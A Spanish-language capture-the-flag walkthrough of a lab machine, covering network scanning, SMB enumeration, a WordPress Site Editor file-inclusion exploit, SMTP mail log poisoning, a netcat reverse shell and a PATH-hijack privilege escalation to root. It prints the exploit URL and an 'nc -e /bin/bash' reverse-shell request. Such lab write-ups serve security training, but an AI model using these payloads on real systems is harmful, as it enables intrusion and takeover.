Table of contents
Reconocimiento
Debido a que esta máquina la debemos levantar en nuestro equipo primero debemos descargarla y levantarla, luego de ello realizar un escaneo en nuestra red para poder identificar la dirección IP que se le asignó haciendo uso de arp-scan
.
El ejecutar podemos ver varias direcciones IP, la que nos importa es la que indica VMware, ya que es la dirección asignada a nuestra máquina víctima.
Como ya tenemos la dirección IP, ahora revisamos si tenemos conexión desde nuestra máquina atacante con la víctima.
Al realizar el ping a dicha dirección IP podemos comprobar que si tenemos conexión y que se trata de una máquina linux.
Enumeración
Haciendo uso de Nmap podemos observar que tenemos los siguientes puertos abiertos.
Podemos observar que tenemos varios servicios que nos pueden servir más adelante y por ello debemos tener en cuenta que tenemos el servicio SMTP, HTTP, SMB aparte del servicio web, así también tenemos el nombre del dominio symfonos.localdomain
.
Primero revisaremos el servicio web, de primera en la IP podemos observar que no tenemos mucho, por ello usamos Gobuster para poder listar algunas páginas adicionales, pero no vemos mucho.
Por ello pasaremos a buscar en el servicio de SMB, en el cual observamos que tenemos dos archivos Anonymous y helios.
Primero nos conectaremos en Anonymous y podemos observar que tenemos u archivo TXT.
Descargamos el TXT
Podemos ver que nos indica que los usuarios usan tres passwords usualmente.
Revisamos las otras carpetas compartidas y no podemos observar algo más, probamos con helios, pero no es posible acceder.
Pero tengamos en cuenta que en Anonymous nos dieron una pista, la cual era del password, probando establecer conexión con alguno de los passwords que nos indicaron, la que nos permite conectarnos fue qwerty
.
Descargamos ambos archivos y en el archivo research
encontramos lo siguiente
En el archivo todo
podemos observar que indican otra ruta de acceso.
Si vamos a la dirección de h3l105
podemos observar algo muy interesante que indica que hay un WordPress
También podemos hacer uso de Wappalyzer para confirmarlo
Con conocimiento de ello haremos uso de WPScan para obtener información de ello
Como podemos observar en uploads
tenemos la carpeta siteeditor
, que si buscamos en internet podemos observar que existe una vulnerabilidad la cual podemos explotar
Explotación
https://www.exploit-db.com/exploits/44340
como indica el nombre del exploit se trata de un LFI el cual nos da una mayor vista de que podemos hacer.
Si leemos como funciona tenemos una prueba de concepto que nos servirá para probar si es posible realizarlo.
Colocamos esa dirección en nuestra URL y podemos ver que sí nos funciona. Colocamos en view-source
para que sea más claro el resultado
Buscando una manera de poder obtener algún acceso o como poder aprovechar el LFI
podemos observar que tenemos el servicio SMTP, probamos conectándonos y enviando un mensaje por telnet a helios
nos conectamos al SMTP, donde está el mensaje envenenado y volvemos al LFI
podemos observar que si llegamos a obtener el ID del usuario helios:
view-source:http://192.168.0.21/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id
Para obtener una shell usamos nc de la siguiente manera, primero en nuestra máquina atacante iniciamos en escucha y luego enviamos la petición.
http://192.168.0.21/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=nc -e /bin/bash 192.168.0.11 1234
Luego de enviar la petición ya tendríamos una shell en nuestra máquina.
De esta manera podemos tener más facilidad para seguir escalando, revisaremos los permisos suid root y notamos que tenemos el statuscheck
el cual no es frecuente en estos permisos.
Vamos a la carpeta y revisamos el archivo y se trata de un binario, para ello lo pasaremos a nuestra máquina para tener más información
primero iniciamos un servicio HTTP con Python
En nuestra máquina local usamos wget para descargarlo
Revisando el archivo podemos observar que tenemos system
y curl
. Con los cuales podemos darnos una idea de que hacer.
Para ello crearemos un archivo curl
en el directorio /tmp
y le damos permisos de lectura, escritura y ejecución, luego de ello exportamos el path con la carpeta actual donde estamos reemplazando el curl para que al momento de ejecutar el archivo statuscheck
tome como primera alternativa la ruta donde colocamos nuestro curl manipulado.
Como se pudo ver, luego de exportar y ejecutar /opt/statuscheck
nos convertimos en root. Si ahora vamos a la carpeta de root y abrir el archivo podemos ver que llegamos al flag de root.